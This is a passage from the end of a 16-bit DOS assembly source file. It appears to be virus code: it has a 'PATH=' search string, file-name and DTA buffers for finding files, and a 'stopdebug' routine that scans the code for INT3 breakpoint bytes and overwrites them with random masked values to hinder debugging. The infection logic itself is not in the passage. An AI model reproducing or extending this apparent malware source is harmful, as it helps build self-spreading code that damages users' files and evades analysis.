  1457. path_chars:     db 'PATH='
  1458.  
  1459. file_name:      db 40h DUP (0)
  1460.  
  1461. my_dta:         db 2Bh DUP (0)
  1462.  
  1463.                 db 0,0,0
  1464.  
  1465.  
  1466.  
  1467. data_end        label near
  1468.  
  1469. IFDEF stopdebug
  1470.  
  1471. ;
  1472.  
  1473. scan_bytes      db 0CCh,090h
  1474.  
  1475. ;
  1476.  
  1477. precrypt:
  1478.  
  1479.                 mov bp,sp   ; allocate locals
  1480.  
  1481.                 sub sp,local_stack
  1482.  
  1483.                 doscall 02ch  ; seed the random number generator
  1484.  
  1485.                 xor dx,cx
  1486.  
  1487.                 setloc rand_seed,dx
  1488.  
  1489.                 call random
  1490.  
  1491.                 mov di,offset start
  1492.  
  1493.                 push ds
  1494.  
  1495.                 pop es
  1496.  
  1497. lp999:
  1498.  
  1499.                 mov cx,08000h
  1500.  
  1501.                 mov si,offset scan_bytes
  1502.  
  1503.                 lodsb
  1504.  
  1505.                 repnz scasb
  1506.  
  1507.                 cmp cx,0
  1508.  
  1509.                 je done998
  1510.  
  1511.                 cmp di,offset data_end
  1512.  
  1513.                 jge done998
  1514.  
  1515.                 lodsb
  1516.  
  1517.                 scasb
  1518.  
  1519.                 jnz lp999
  1520.  
  1521.                 call random
  1522.  
  1523.                 getloc ax,rand_seed
  1524.  
  1525.                 dec di
  1526.  
  1527.                 mov [di],al
  1528.  
  1529.                 inc di
  1530.  
  1531.                 xor [di],al
  1532.  
  1533.                 inc di ; skip the masked byte
  1534.  
  1535.                 jmp short lp999
  1536.  
  1537. done998:
  1538.  
  1539.                 mov sp,bp
  1540.  
  1541.                 ret
  1542.  
  1543. ENDIF
  1544.  
  1545.  
  1546.  
  1547. code        ends
  1548.  
  1549.         end    start
  1550.  
  1551.